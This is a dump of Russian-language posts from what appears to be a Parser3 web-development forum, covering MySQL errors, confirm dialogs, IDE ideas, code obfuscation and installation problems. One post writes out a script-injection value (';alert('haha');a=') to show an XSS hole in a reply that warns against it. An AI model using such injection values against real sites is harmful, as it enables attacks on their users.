Хотел бы узнать как делает большинство такую мелочь:\
\
Есть ссылка \"Удалить новость\", при нажатии на которую должен появиться вопрос \"Хотите удалить? Да. Нет.\" Если \"Да\", то удаляю текущую новость средствами Парсера и MySQL. Если нет, то откатываюсь назад.\
\
Какими средствами лучше организовать появление окна с потверждением удаления?\
\
Если Javascript, то через создание нового окна (window.open) или через confirm?\
\
Возможно есть какое-то стандартное решение, но к сожалению я его не знаю :("
"26715","загадка ..."
"26716","Я наверное уже всем надоел с этой ошибкой..\
Но помощи мне просить не где. Админы сервера еле шевелятся и выполняют просьбы спустя дня 3-4.\
А мне надо срочно...\
Ошибка появляется при выборке из большого числа записей.\
к примеру если выбирать строки из таблицы кол-во которых не превышает 1000, то выборка пройдет нормально. Если же в таблице выбираемых строк больше, то возникает ошибка Got error 28 from table handler. ограничение выборки командой $.limit(15) равна 15.\
В прошлый раз админы сказали что ошибка возникла из-за переполнения раздела, после того как они перенесли базу на др. раздел все стало в норме.\
У меня вопрос, где и как можно самому перенести БД в другой раздел. У меня есть доступ к серверу через SSH и админ панель Webmin. (freebsd 4.8)"
"26717","<a onclick=\"return confirm('Удалить ?')^;\" href=\"...\">...</a>"
"26718","Сделал так:\
\
^connect[]{\
<script language=\"JavaScript\" src=\"${start_uri}runbar.js\">\
</script>\
}\
\
Т.е. вынес скрипт в отдельный файл. Заработало. Но как теперь ему передать параметр (переменная известна парсеру, но неизвестна скрипту)?"
"26719","Планировалось:\
1. Удобная IDE в стиле .NET\
2. Редактирование классов Parser с подсветкой и фичей autocomplete.\
3. Редактирование xsl с подсветкой и фичей autocomplete.\
4. Работа с CVS.\
5. Браузер + вызов внешних браузеров(Opera, Mozzila)."
"26720","Есть очень хорошие реализации, хотя в целом вещь получается очень громоздкой и не сказал бы что очень юзабельной.\
Более всего понравилась технология web parts, - сторонние производители пишут что-то вроде плагинов, частей страниц. К примеру RSS Import или работа с документами.\
В связи с этим хочется подойти к такой же реализации в своих проектах.\
\
Нужно:\
1. класс с модулем веб части\
2. xsl шаблон(или даже несколько)\
3. механизм обработки данных от пользователя\
4. админ часть\
5. связать это все с сайтом\
\
Если с первыми двумя пунктами более-менее ясно, то насчет остальных пока даже нет умных мыслей.\
\
Но может они есть у всезнающих гуру Parser?"
"26721","Вот пример и документации, использование этого примера возможно только если на странице нет никаких данных кроме картинки\
\
[code]\
$square[^image::create(100;100;0x000000)]\
^square.bar(5;40;95;60;0xFFFFFF)\
$response:body[^square.gif[]]\
[/code]\
\
Вот такая конструкция приводит к ошибке\
\
[code]\
$square[^image::create(100;100;0x000000)]\
^square.bar(5;40;95;60;0xFFFFFF)\
^square.gif[]\
[/code]\
\
\
И такая тоже выводит пустую картинку\
\
[code]\
$square[^image::create(100;100;0x000000)]\
^square.bar(5;40;95;60;0xFFFFFF)\
^square.html[]\
[/code]\
\
\
А как сделать что я мог вставить эту картинку в код. В php всё было просто:\
\
imagestring($image,1,40,4,\"$text\",$col1);\
imagepng($image);\
\
Просьба приведите самый простой пример только полностью, а тоя я уже НЕДЕЛЮ мучаюсь с этой проблемой. ПОМОГИТЕ."
"26722","А в чем заключался облом? Что не вышло, если не секрет?\
\
Дело в том, что я уже начал все это хозяйство писать, автокомплит уже работает, подсветка синтаксиса - в полной мере."
"26724","Всё равно не получается из за $response:body[^image.gif[]] стирается всё остальное содержание страницы"
"26726","Обязательно:\
\
 1. поддержка Unicode\
 2. ?\
\
 желательно так-же:\
\
 1. контроль парности скобок\
 2. code beautyfier (code sweeper?)\
 3. server mapping (подмена локального пути к файлу на http://...)\
 4. block comment-uncomment (для выделенного текста)\
 5. wizards (+ возможность создания своих wizards)\
 6. шаблоны для создания новых документов\
 7. возможность автоматической генерации \"# $Id: blah.p,v 1.0 2004/02/...\"\
\
 и было бы неплохо:\
\
 1. функции поиска-замены\
 2. проверка правильности синтаксиса :)\
 3. возможность показа непечатных символов"
"26727","Кто-нибудь знает, есть-ли готовые шаблонизаторы(для документооборота) на Parser'е?"
"26728","Unhandled Exception\
change_case_UTF8 error: end pointers do not match\
upper\
\
/home/devushka/public_html/index.html(262)"
"26729","В моем лице:\
генератор идей, бета тестер, могу помочь с \
ваянием некоторых кусков кода.\
(если нужно, дам библиотеку Magic)\
\
В общем стучи в асю: 995520, uptime от 12 часов в сутки:)\
\
Кстати, на чем пишем ?"
"26731","не совсем понятно что такое \"шаблонизатор для документооборота\"... \
\
Вы имеете в виду что-то типа ЦМС? Или что-то типа шаблонов БСД документации? Или вообще что-то из степей эксчейнджа?"
"26733","Как сделать инет-магазин, наподобие www.plati.ru"
"26734",">>code beautyfier (code sweeper?)\
Что за? Можно чуточку подробнее?\
\
>> возможность автоматической генерации\
Тоже интересно что имеется ввиду.\
\
Поймите одну вещь, я человек в парсере заинтересованный также как и лягушка в балете, НО у меня есть а)желание б)возможность сделать этот редактор и сделать его удобным моя цель. Для чего? Отвечу как Лебедев :) \"потому что хочу чтобы рунет стал лучшим\".\
\
Итак, в html, parser, php, perl и остальных приблудах знаю очень отдаленно, так что чур не пинать."
"26735",">>если нужно, дам библиотеку Magic\
чем она мне может помочь?\
\
>>В общем стучи в асю: 995520, uptime от 12 часов в сутки:)\
Стукнусь обязательно...\
\
>>Кстати, на чем пишем ?\
Борланд Делфи 7. Ничего лишнего. =)"
"26736","С уважением, Larrikin."
"26737","Требуется:\
Времени, выдержки, терпения\
Нестрашно?\
Тогда потребуется ещё\
Знание Парсера, xySQL возможно придётся по ходу дела ещё с чем-то разбираться, например HTML, XML, XSLT, cron ... \
\
Есть более простой выход, обратиться к владельцу или разработчику и попросить продать, установить, настроить, адаптировать ..."
"26739","Результат обработки тестовой страницы http://www.devushka.net\
Лог ошибок:\
[Mon Feb 23 23:55:08 2004] /list/: /home/devushka/public_html/list/index.html(22:2): 'mysql://****@devushka.net/devushka_girls' Host 'opteron.hostony.com' is blocked because of many connection errors.  Unblock with 'mysqladmin flush-hosts' [sql.connect]\
\
что делаю неправильно?"
"26740","я всегда вручную apache / mysql ставлю, без помощи всяких \"суп-наборов\". поэтому они в интернет вообще не ходят. обслуживают только localhost."
"26741","Во-первых это не ошибка парсера, а ошибка сервера mysql.\
Ваш сервер был перегружен большим количеством коннектов (превышающим установленное администратором) и теперь не даст установить коннект до тех пор, пока администратор не разблокирует его (mysqladmin flush-hosts). \
Впрочем об этом прекрасно написано в тексте вашей ошибки...\
\
P.S Вам не кажеться что на вашей странице много текста выделенного красным?"
"26744","Есть конструкция:\
^connect[pgsql://---]{\
  $results[^table::sql{\
	SELECT grouppeople.groupid AS groupid\
	FROM people INNER JOIN grouppeople ON people.persid=grouppeople.persid\
	WHERE $search}[$.limit(10) $.offset($off)]  \
	}]\
}\
Она работает. Хочу получить тот же результат, но в хеш. Дальше удобнее\
работать. Меняю ^table::sql на ^hash::sql - лезет ошибка.\
Где грабля не пойму. Ключ есть из чего сделать.\
Поиогите!"
"26745","ДА в том то и дело, что кажется.... Шрифты и драйвер SQL помещены в нужные папки...Соответственно /charsets и /lib. Поэтому меня и удивляет возникновение именно такой ошибки...\
2 вопроса заодно:\
1. Какие права надо указывать на эти папки и на файлы кодировок и драйвер\
2. Может ли неправильная конфигурация вышеперечисленного привести к такое ошибке"
"26746","т.е.\
SELECT\
   grouppeople.groupid AS groupid\
->\
SELECT\
   grouppeople.groupid AS groupid,\
   1\
\
P.S. в скором будущем условие о необходимости более 1 столбца будет необязательным."
"26747","Что именно работает?\
\
Например, пишу\
[code]\
$a[^file::stat[index.html]]\
$a.<здесь хочу автокоплит>\
[/code]\
Что мне покажет автокомплит? Покажет список cdate, mdate, adate? А в случае, если бы переменная $a в нашем примере была бы объектом пользовательского класса, что бы он показал?\
\
Спасибо за ответ!\
\
p.s. Если нужно, я готов выступить бета и альфа и просто тестером.\
p.p.s. А если я напишу так, что тогда увижу?\
[code]\
^if($x = 1){\
    $a[^file::stat[index.html]]\
}{\
    $a[^table::load[tbl.txt]]\
}\
$a.<здесь хочу автокоплит>\
[/code]\
"
"26750","Здесь условие с неизвестными заранее переменными. В автокомплите должны присутствовать оба варианта."
"26751",">>Что мне покажет автокомплит? Покажет список cdate, mdate, adate? А в случае, если бы переменная $a в нашем примере была бы объектом пользовательского класса, что бы он показал?\
\
Покажет методы данного класса. Если пользовательский класс, очевидно, покажет методы и процедуры данного класса. С парсером еще плохо знаком, пока не могу ничего сказать на эту тему.\
\
По второму вопросу : парсер нифига не формализованный язык, также как и, пожалуй, бейсик. В любом языке формализованном так сделать невозможно просто."
"26752","Верно ли, что у вас есть программа, которая разбирает код на Парсере, определяет тип (в нашем случае — пользовательский класс) переменной в нужном месте кода и находит методы объекта этого класса (учитывая наследование)? Как вы это делаете? Переменная может быть глобальной, и определена она может быть в другом файле.\
Я все это спрашиваю, потому как в моем понимании автокомплит для Парсере сделать ни чуть не проще, чем написать свой интепретатор Парсера. Что весьма круто :)\
Проверка синтаксиса — тоже задача непростая. Конечно очень много ошибок подсвечивает far с плагином colorer и настройками для этого плагина с parser.mojo.ru.\
Пока я думал, что far + colorer — это, по сути, лучшее IDE, которая бывает для Парсера. Рад буду ошибиться :)"
"26753","я не спрашиваю, зачем.\
я говорю: так [b]не[/b] надо. точно.\
\
если вы не хотите своей смерти от руки себя самого через полгода. или от руки вашего «благодарного» коллеги, который будет пытаться в этом разбираться."
"26754","если там написано \"техподдержка\", настаивайте на ней, вы за это платите деньги.\
\
звоните и ругайтесь."
"26755","да притих.\
\
думаю, пока автор libgdome не исправит баги, которые я ему уже с год, как выслал, без patch эта библиотеку в parser использовать нельзя. а это препятствует автосборке с xml. без xml - ноль проблем."
"26756","# назначение обработчиком .html страниц:\
\
Кладу в корень .htaccess\
парсер не подключается,\
пишет\
Premature end of script headers: /pub/home/abe21107/cgi-bin/parser3.cgi"
"26758","наверное только куками?"
"26760",">>Верно ли, что у вас есть программа, которая разбирает код на Парсере, определяет тип (в нашем случае — пользовательский класс) переменной в нужном месте кода и находит методы объекта этого класса (учитывая наследование)?\
\
Пока еще нет, но это вполне реализуемо, насколько я успел ознакомиться с парсером.\
\
>>Как вы это делаете?\
Пока никак :)\
\
>>Переменная может быть глобальной, и определена она может быть в другом файле.\
Для этого существуют файлы проектов, связывающие воедино несколько юнитов.\
\
>>Я все это спрашиваю, потому как в моем понимании автокомплит для Парсере сделать ни чуть не проще, чем написать свой интепретатор Парсера.\
Скажем так, у меня нет цели писать свой парсер, но более-менее грамотный автокомплит можно устроить без написания того-же заново.\
\
>>Пока я думал, что far + colorer — это, по сути, лучшее IDE, которая бывает для Парсера. Рад буду ошибиться :)\
Посмотрим что получится. Я так понял, что far + colorer - это всего лишь подсветка синтаксиса?"
"26763","2. Не может. Чтобы решить проблему обратитесь в службу поддержки вашего хостинг-провайдера."
"26764","А сделал так:\
\
^connect[]{\
$переменная_парсера[какой-то_текст]\
^script[]\
}\
\
@script[]\
<script language=Javascript>\
...\
var переменная_скрипта='$переменная_парсера'\
...\
тело скрипта\
...\
</script>\
\
Так работает. Всем спасибо."
"26765","Вот я и выкручиваюсь как могу.... :)"
"26766","чтобы не получилось подобного:\
\
http://site/document?user=';alert('haha');a='\
[code]\
$parser_var[$form:user]\
<script...>\
var javascript_var='$parser_var'\
[/code]"
"26767","При создании сообщения внизу есть пункт\
\"уведомлять об ответах на это сообщение на E-Mail\"\
он всегда помечен у меня галочкой.\
Раньше в случае ответа на мое сообщение копия его приходила ко мне на емаил. Но с некоторых пор такое действие прекратилось.\
Антиспам на почтовом сервере я не включал, но на всякий случай решил сменить почтовый ящик. К сожалению ответы все равно не приходят мне на емаил....\
Это с форумом что-то не ладное или все же в моих настройках почтового сервера или клиента?"
"26768","Что-то я похоже притормаживаю....А почему тогда на тестовой странице красным выделены кодировки и т.д. Может я не правильно понял, но в логе написано is blocked because of many connection errors , тоесть что-то же должно было вызвать ошибку..."
"26769","Не помогло...\
Ошибки действительно нет, извиняюсь пропустил, но пардон, и значение из первого хэша не переносятся...\
\
[code]\
@main[]\
  ^process{\
    ^$hash[\
      ^$.image[\
        ^$.type[file]\
      ]\
    ]\
\
    ^^temp[^$hash]\
  }\
\
\
@temp[a]\
  ^process{\
    ^$c[^^hash::create[^$a]]\
    \"^$c.image.type\"\
  }\
[/code]\
\
Для Гуру... А код действительно забавный.."
"26770","а админа вашего MySQL сервера.\
\
ваша точка зрения: «connection errors быть не должно никогда»."
"26771","я недавно писал про локальные переменные и process, думал, вы читали."
"26772","на каждом проекте (для каждого экземпляря CMS) в систему дообавлять некоторый модуль автообновления, который будет заглядывать в свой репозитарий и находить там если надо обновление, после чего устанавливать ..\
\
плюс:\
  + в отличие от cvs можно будет обновлять именно так, как это необходимо для вашей системы .. те например, если лента новостей стала сложнее, то обновление в себя может включать конвертацию БД под новый тип ленты и, конечно, обновление файлов.\
\
минус:\
  - приходится изобретать велосипед.\
    вполне возможно, что кто-то уже что-то делал и может поделится идеями, заложенными в такой метод обновления.\
\
cvs -- это, несомненно, отличное решение, но порой его мало. (к тому же еще не приходилось с ним по-настоящему работать)"
"26773","Свой сервер и админ на нём обходятся дороже хорошего хостинга с нормальной поддержкой."
"26774","я бы поучаствовал, если чем смогу помочь (в меру сил) -- буду рад"
"26775","в следующем месяце мы планируем открыть англоязычный сайт.\
просьба подумать, кому, по вашему мнению, стоило бы знать о его появлении."
"26776","Мне кажется, что все что сучшим вариантом было бы написать Add-in к Visual Studio.Net (6.0)"
"26777","codesweeper - есть такая фича в редакторе Homesite, правда там она для HTML'образных языков только, но думаю для парсера что-то похожее тоже можно сообразить при желании. В двух словах - запускаем codesweeper и код на парсере форматируется в соответствии с уровнями вложенности операторов и/или какими либо другими правилами языка, приобретая при этом более приятный и юзабельный вид.\
\
возможность автоматической генерации - допустим в определённом месте в начале файла вы указываете время его последнего изменения, было бы неплохо, если бы это происходило автоматически при любом изменении в файле - мелочь, а приятно..."
"26778","А мне add-on к studio.net нафиг не нужен. Лучше stand alone программа. Любой сможет использовать, а не только счастливые владельцы .net."
"26779","Кто-нибудь пробовал установить parser3 на хостинге http://www.fhost.ru ???"
"26780","Конечно разработчикам. Тем кто пишет на ПХП, Пёрл, АСП. А там уж как Бог даст."
"26781","Где взять версию Parser скомпилированную с отключенной опцией --disable-foreign-group-files ?"
"26782","Когда Парсер уже будет предустановлен - будет проще его популяризовать и дать возможность тамошним почувствовать его легкость и удобство."
"26787","У меня на сайте не работает Парсер на субдомене. В может чем проблема?\
HELP!!!"
"26788","Проблемка с меню навигации из примера. Если в sections.cfg стоит uri /news, а запрашиваемый uri например /news/index.html?id=7, то как сделать чтобы ссылка на news в меню, в таком случаи оставалась не активной?"
"26789","прочитайте в доке про is \
или попробуйте сделать простое обрезание справа до первого слеша"
"26791","и ждёте, когда другие начнут думать за вас?\
\
и вам кажется уместным\
1. прийти сюда\
2. попросить о помощи и \
3. потратить время сообщества на себя любимого\
4. после чего выкинуть в сортир все сообщения желающих вам помочь?"
"26792","Имею текст:\
6.30 Музыкальный канал. 7.00 М/с \"Деннис-непоседа\". ...\
\
Хочу перед временем ставить перевод строки.\
\
Пишу:\
[code]^textfile.text.match[(\\d+\\.\\d+)][g]{^#0A$match.1}[/code]\
\
ничего не происходит.\
\
Пишу так:\
[code]^textfile.text.match[(\\d+\\.\\d+)][g]{1^#0A$match.1}[/code]\
\
Получаю:\
1\
6.30 Музыкальный канал.1\
7.00 М/с \"Деннис-непоседа\".\
\
Вопрос: почему не срабатывает перевод строки в первом случае?\
\
Дополнение, любой другой символ вставляется без проблем, к примеру ^#DA заменяется буквой \"з\"."
"26793","1. Я запустил работу Parser на Арбатеке.\
2. Ваше сообщение в этой теме не ко времени, т.к. посмотрите дату моего поста. Вы правы, но с большим опозданием.\
3. У меня действительно все заработало как только я удалил свой пользовательский auto.p из корня сайта. Потом когда я его туда свова переписал ничего работаль не перестало - мистика :)\
4. С красными надписями по поводу БД я тоже разобрался, ибо они имели место быть т.к. строчка подключения к БД была не определена. Я пробовал подключаться к базе - все работает.\
\
Вот собственно и все, если не считать того, что я к тому времени уже почти на половину написал движок на PHP. Теперь когда Parser заработал я опять в сомнениях... :)))"
"26795","Вы наверно имели ввиду in\
 А про поиск, просто я тупил сильно и не мог сформулировать правильно запрос..)).. Подумал может кто пальцем тыкнет, а то некогда было все похожие темы перелапачивать.\
 А так-то спасибо, всё нашёл."
"26796","Сохранил результат первого приведенного вами матча в файл -- все ок."
"26797","Нужно разработать функциональный язык отчетов для генерации документооборота и разработать интерпретатор этого языка. И все это на Parser. Я сама пока толком не понимаю, чего от меня хотят, но нужен шаблонизатор! Я даже не знаю, где про это можно почитать! Везде шаблонизаторы сайтов... А мне надо что-нибудь типа Lotus, только не конструктор, а прикладная программа. Хотя может я уже вообще запуталась во всем."
"26798","А когда выйдет новая версия с исправленными ошибками?"
"26799","вот упрощенный вариант:\
[code]\
@main[]\
<html>\
<body>\
$f[^file::load[text;/1.txt]]\
$res[^f.text.match[(\\d+\\.\\d+)][g]{^#0A$match.1}]\
<pre>$res</pre>\
</body>\
</html>\
[/code]\
\
результат работы можно посмотреть [url=\"http://www.design.tyumen.ru\"]здесь[/url]"
"26800","запишите в файл, все увидите."
"26801","Подскажите пожалуйста, а какой максимальный размер таблицы с которой работает парсер?\
Ну вот например есть у меня mysql'ная таблица счетчика, куда пишутся айпишники. Довольно активно пишутся.\
Какой лимит у mysql'я и какой лимит когда я select'ом выбираю в парсерную таблицу?\
зы: дабы не ждать когда она сама отвалится, а чтонить предпринять.."
"26802","[code]\
SIGUSR1 received while executing code. uri=/products/group/sgroup35.html, method=GET, qs=id=35, cl=0\
(или похожие)\
\
Lost connection to MySQL server during query\
[/code]\
\
в чем дело не пойму"
"26804","задумано, чтобы понять, что делает данный скрипт.\
если, вдруг, повиснет, посылаете ему этот сигнал и видите в журнале, над чем трудится.\
\
на практике мной не применялся, поскольку и так есть server-status [см. документацию по apache].\
\
почему попали в ваш журнал: кто-то перезапускал веб-сервер, и, видимо, сам apache отправлял CGI процессам это.\
\
диагноз: не обращайте внимания."
"26805","Я полагаю, всё зависит от выделенной вам оперативной памяти и процессорного времени на хосте."
"26807","Нет, это-то естественно..\
Просто думал, какие есть ограничение в самих программах.."
"26810","Вообще если поискать по форуму, то можно найти рекомендацию примерно следующего содержания:\
Всё что можно сделать средствами БД нужно ими делать (имелась в виду работа с таблицами)"
"26811","он непонятного размера/качества, я решил на него не заморачиваться."
"26812","Говорят, что эту проблему они устранили, но на тестовой странице ничего не изменилось, а когда в auto.p раскомментировать строку подключения, то появляется ошибка..."
"26813","Windows.\
Обработчиком *.PEX файлов назначен РНР(c:\\php\\php.exe).\
Запускаю из  парсера\
$thy[^file::exec[thumbnail.pex]]\
\
Мне отвечают  в лог\
D:/php/walls/run_prog.p3(1:8): 'D:/php/walls/thumbnail.pex' exec failed - the file you tried to run is not a valid Win32 application (193). Consider adding shbang line (#!x:\\interpreter\\command line) [<no type>]\
\
При чем тут (#!x:\\interpreter\\command line) и как выйти из этой ситуации"
"26814","то забейте на красные сообщения о невозможности проверки.\
\
я в тесте говорю что \"проверка невозможна\", а не \"не работает\".\
\
это можно проверить другими способами (например указав разные request и response charset-ы, и если не находятся файлы с кодировками то сразу получите ошибку), но проще пока забить. начнете делать, наступите на грабли - будете искать.\
\
какая именно ошибка возникает у вас при раскомментировании строки подключения к SQL вы не сообщаете: прокомментировать невозможно.\
\
по поводу [url=\"/forum/?id=26745\"]упоминаемых вами[/url] путей:\
\"/charsets и /lib\" в понятиях парсера означают \"от корня document root\", а в понятиях файловой системы означают \"от корня устройства (диска)\".\
\
если вы положили их относительно document root - то это вкорее всего не правильно (если конечно cgi у вас не валяется в корне), если относительно корня диска - то... я сомневаюсь что вам позволили сделать это :)\
\
так что судя по вашему описанию того, куда вы их положили - вы положили их не туда куда следует, или сообщили неверно пути к ним."
"26816","Ничего не понял по поводу путей...устанавливал, согласно описанию с сайта: \"Скачайте архивы необходимыми вами SQL драйверами, и распакуйте их в каталог {куда вы установили Конфигурационный файл}/lib\" у меня cgi-bin/lib... Разве еще кде-то эти пути необходимо прописывать? Про это ничего не сказано....Ошибка такая http://devushka.net/"
"26817","Как можно загрузить поле TEXT из MYSQL в таблицу, так чтобы каждая новая строка этого поля была новой строкой в таблице"
"26818","иначе от вашей ссылки пользы мало."
"26819","в котором уже запустите всё, что нужно.\
\
это по-простому.\
\
по-сложному расскажу, если вам этого недостаточно."
"26820","задайте себе другой вопрос:\
«вот у меня есть $var в которой лежит string с переносами строк\
как бы мне из неё создать таблицу, которая …?»"
"26826","Так вот собственно это меня и интересует. Парсер стоит на основном домене по умолчанию, т.е. его ставил хостер. Нужно ли его копировать в cgi-bin субдомена?"
"26827","Можно ли его автоматически обфусцировать?\
\
Юрий"
"26828","\"/lib\" и \"{куда вы установили Конфигурационный файл}/lib\" с моей точки зрения абсолютно разные вещи\
\
если вы одно заменяете другим - то для вас это одно и тоже, что по моему неправильно (на это раз вы упомянули cgi-bin/lib но не указали относительно чего этот путь).\
\
именно поэтому от вас упорно пытаются добиться того, чтобы [b]вы подробно написали что вы делали[/b], сообщения \"сделал как написано в инструкции по установке\" не принимаются, т.к. я её знаю уже почти наизусть, но каждый вновьпришедший умудляется прочитать её по своему, и совсем не так, как изначально задумывалось.\
\
P.S. я заканчиваю эту дискуссию пока вы не прочтете FAQ и не будете ему следовать."
"26830","Выражайтесь товарищ поприличнее, а то вас можно огорчить до невозможности.\
\
А теперь просьба дать определение сиего мудренного слова :)"
"26831","...тем, что с таким подходом в проекте плодятся файлы, которые нужны для того, чтобы запустить файлы, которые запускают файлы. Я не сомневаюсь в том, что это сказывается на производительности, на \"правильности\" проекта в целом и на переносимости с одной системы на другую. Сегодня Виндовс, завтра Линукс, послезавтра ОпенБСД. Каждый раз переписывать батч-скрипты не совсем рационально.\
Да, я согласен с тем, что описаный вами подход хорош как временное рабочее решение, НО не более....\
\
С уважением, Redactor."
"26832","А смысл его в следующем механизме: имена макросов и переменных приводятся к нечитаемому виду. \
Вроде:\
\
Было:\
[code]\
@table[table;columns;content][rows;i;offset]\
$rows(($table + $columns - 1)\\$columns)\
^for[i](0;$columns*$rows-1){\
	$offset( ($i % $columns)*$rows+$i\\$columns )\
	^if($i>0 && $i%$columns==0){</tr><tr>}\
	^if($offset<$table){\
		^table.offset[set]($offset)\
		$content\
	}{\
		<td>&nbsp^;</td>\
	}\
}\
[/code]\
\
Стало:\
[code]\
@a[b;c;d][e;i;f]\
$e(($b + $c - 1)\\$c)\
^for[i](0;$c*$e-1){\
	$f( ($i % $c)*$e+$i\\$c)\
	^if($i>0 && $i%$c==0){</tr><tr>}\
	^if($f<$b){\
		^a.offset[set]($f)\
		$d\
	}{\
		<td>&nbsp^;</td>\
	}\
}\
[/code]\
\
Теперь представьте, что так написан весь сайт... И такой код надо проанализировать, переписать под себя... (а ещё, если так SQL загадить, О-о-о....).\
\
При всём желании можно перекомпилировать Парсер и задать такие \"чудесные\" имена и основным классам (типа string, table)!\
\
Зачем это надо мне: сайты делаются в коммерческих целях и отдаются всецело заказчику, который на исходный код не претендует (по условию договора)... Таким образом ставится зарубка в мозгу о правоте закона об авторском праве!\
\
[url=\"http://www.aspnetmania.com/ViewArticle.aspx?article_id=36&tabid=3\"]Нашёл ссылочку в тему[/url]"
"26833","Подскажите, пожалуйста, как можно вывести из таблицы базы данных n последних внесенных туда записей?"
"26834","примерно так \
[code]\
$parser_mysql_get_last_fields[^table::sql{select field1, field2 from TABLE order by id DESC limit 0,5}]\
[/code]"
"26836","$tab[^table::create{string\
$string}\
]"
"26837","http://www.sentex.net/~mwandel/jhead/\
Запускать через ^file::exec"
"26839","Если я ввожу данные только сам, то эту процедуру можно опустить? По крайней мере, она не критична? Или я не прав?"
"26841","Вроде все стоит как написано в описании, но вот фаил _test.html выдает что не может найти ни $CHARSETS ни $SQL...\
Все вроде делал по инструкции... все SQL драйверы скопированы в cgi-bin/lib, файлы описания кодировок тоже на месте...\
В чем может быть проблема?\
Спасибо.\
\
цитата _test.html:\
windows-1251 $charsetsdir/windows-1251.cfg -\
относительный путь. проверка невозможна \
\
koi8-r $charsetsdir/koi8-r.cfg -\
относительный путь. проверка невозможна \
\
$SQL:\
mysql $sqldriversdir/libparser3mysql.so - (относительный путь. проверка невозможна) \
libmysqlclient.so - (относительный путь. проверка невозможна) \
\
pgsql $sqldriversdir/libparser3pgsql.so - (относительный путь. проверка невозможна) \
libpq.so - (относительный путь. проверка невозможна) \
\
oracle $sqldriversdir/libparser3oracle.so - (относительный путь. проверка невозможна) \
\
/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data (не найден)"
"26843","то достаточно указать в .htaccess поддомена это самое /нечто/parser3.cgi\
\
если не можете, скопируйте.\
так у вас малой кровью будет отдельный auto.p с отдельным @conf[]"
"26844","вот код:\
[code]\
@method[object]\
$object.field\
[/code]\
\
в: какого типа object?\
о: неизвестно :(\
\
в: он вообще, пользовательского класса, или системного?\
о: неизвестно :(\
\
в: а как тогда переименовать его field на произвольное?\
о: никак, поскольку неизвестно, на какое \"произвольное\": оно ведь должно быть ровно тем, какое в классе!\
\
в: а если только локальные переменные попортить?\
о: нельзя, поскольку допустимо и такое:\
[code]\
@method[][local]\
^for[local](0;9){$local}\
[/code]\
здесь [local] это буквы, передаваемые методу.\
что он с этими буквами делает, никто не знает.\
и список таких операторов/методов неограничен: их может создавать пользователь. keyword: \"$caller\"."
"26845","тогда, безусловно, следует запускать exec'ом самого интерпритатора внешних скриптов[чьё имя выносить в отдельный конфиг, для переносимости кода], и уже ему передавать путь к скрипту."
"26846","вы проверьте, потом пишите?\
\
если\
[code]\
$string[$form:text_area_1]\
[/code]\
ваш код ничего на [b]строки[/b] не разобьёт"
"26847","а спорим, вы через неделю/месяц/год забудете, что нельзя использовать «'» и напишете-таки \
   «Alexei Aigi & 4'33''»\
или, скажем \
   «Auditors' Reports»\
?"
"26849","интерпритатор внешних скриптов должен лежать в пределах видимости Парсера?"
"26850","лучше, чтоб Парсер делал платформа независимый код, ну как java, т.е. вы пишите сайт тестите его, потом запускаете Парсер с каким-нибудь ключиком, типа, а давайка ты перец мне все это в одну dll в своем коде, а потом я тебя буду запускать с другим ключиком и путь до dll указывать, и тебе заново компилировать ничего не надо будет, исполняй уже откомпилированные функции...\
\
просто вот что написано в сырцах:\
\
\"Входной код предварительно компилируется во внутренний формат. Это происходит с каждым запросом, результат компиляции не кэшируется\"\
\
вот может этот внутренний формат в файлик?:)\
\
вот вам и не читаемость кода..."
"26851","который не замедлит появиться, как только кому-то что-то реально понадобится.\
\
ведь в parser совсем простой байткод, чрезвычайно легко восстанавливаемый в исходный код."
"26852","сделать совсем \"ужасным\", чтоб решить задачи нечитабельность и оптимизация,\
ведь в php, есть что подобное, защита кода, перловые скрипты, тоже можно компилировать в еxe, но если Парсер выйдет на международную арену, а ведь сейчас доки переводиться вами именно для этого, то требовать народ тоже будет того что есть в других скриптовых языках…\
\
\
P.S.\
я конечно понимаю, что в принципе это наглость давать советы, ну лучше назовем это риторикой:)"
"26853","возможно, найдётся энтузиаст и на эту задачу."
"26855","О таком тоже подумывал, правда не разбираясь в исходниках, сложно оценить сколько на это надо времени...\
Вообще это предложение поддерживаю и даже хотел бы его реализовать! (надеюсь многоуважаемый PAF, будет содействовать, отвечать на вопросы)...\
Если есть желающие присоединиться, окликайтесь... можно зачать много хороших идей!"
"26856","Вы так форум посмотрите мельком, сколько хороших идей, у всех сопли пузырями, вот давайте CMS все такие да да, а потом тихой сапой себе под нос  и делают сами по себе, только egr, наверно что путное делает ...\
\
Так что как скажет уважаемый PAF: «разговоры разговаривать мастера многие»"
"26857","После таких ответов не удивительно, что все разобщаются...\
Только вот CMS и доработка parser'а разные понятия! И нет ничего удивительного, что исходники кода CMS написанные в Parser'е все друг от друга прячут, другое дело перекроить сам язык...\
\
PS: \"Судят по одёжке, а провожают по уму\", чего и Вам желаю!"
"26858","Дайте, пожалуйста, прямую ссылку до скачивания Apache под Windows. А то под старым Парсер идти не хочет.\
Спасибо!"
"26859","[code]\
Behind the curtain in the pantomime\
Hold the line\
Does anybody want to take it anymore\
\
The show must go on\
The show must go on\
Inside my heart is breaking\
My make-up may be flaking\
But my smile still stays on\
[/code]"
"26861","x:\\..\\yandex\\yandex.exe -r"
"26862","пока всё же лучше пользоваться 1.3.x версиями - есть во 2-м некоторые  неприятные моменты, вроде непоказа $env:REMOTE_USER и некоторых других переменных, работающих в 1.3.х версии"
"26865","не, не могу :) - мне лениво искать, а \"кривые\" ссылки с Apache.org у меня в браузере работают."
"26867","[url=\"http://apache.rinet.ru/dist/httpd/binaries/win32/apache_1.3.29-win32-x86-no_src.exe\"]Apache 1.3.29[/url]\
Вы можете самостоятельно найти прямую ссылку на сайте [url=\"http://httpd.apache.org/\"]Apache[/url] в разделе Download (можно выбрать любое понравившееся вам зеркало).\
Удачи!"
"26872","Можно поточнее, как у страницы результатов сменить дезаин. Ну или хотя бы убрать надпись сверху, сменить цвет формы и убрать расширеный поиск? Пробовал yandex.exe в UltraEdit'e пофиксить, но при запуске сервиса выдаёт ошибку."
"26873","этим вы нарушаете лицензию."
"26875","http://company.yandex.ru/programs/server/docs/report.html"
"26876","не знаете, не пишите?"
"26877","Александр! Две последние ночи читал уроки и сообщения на форуме,пробовал практически, но так и не понял одного (пока). Как сделать вертикальное меню? Пожалста, пожалста, пожалста, хелп ми, а то сойду с ума и моя безвременная трагическая кончина будет на совести кого нибудь. Заранее благодарен за ответ."
"26880","Сейчас вам объясню принцип построения \"тетраэдрического\" меню.\
\
В не туда смотрите, \
сравните (построчно) это\
[code]\
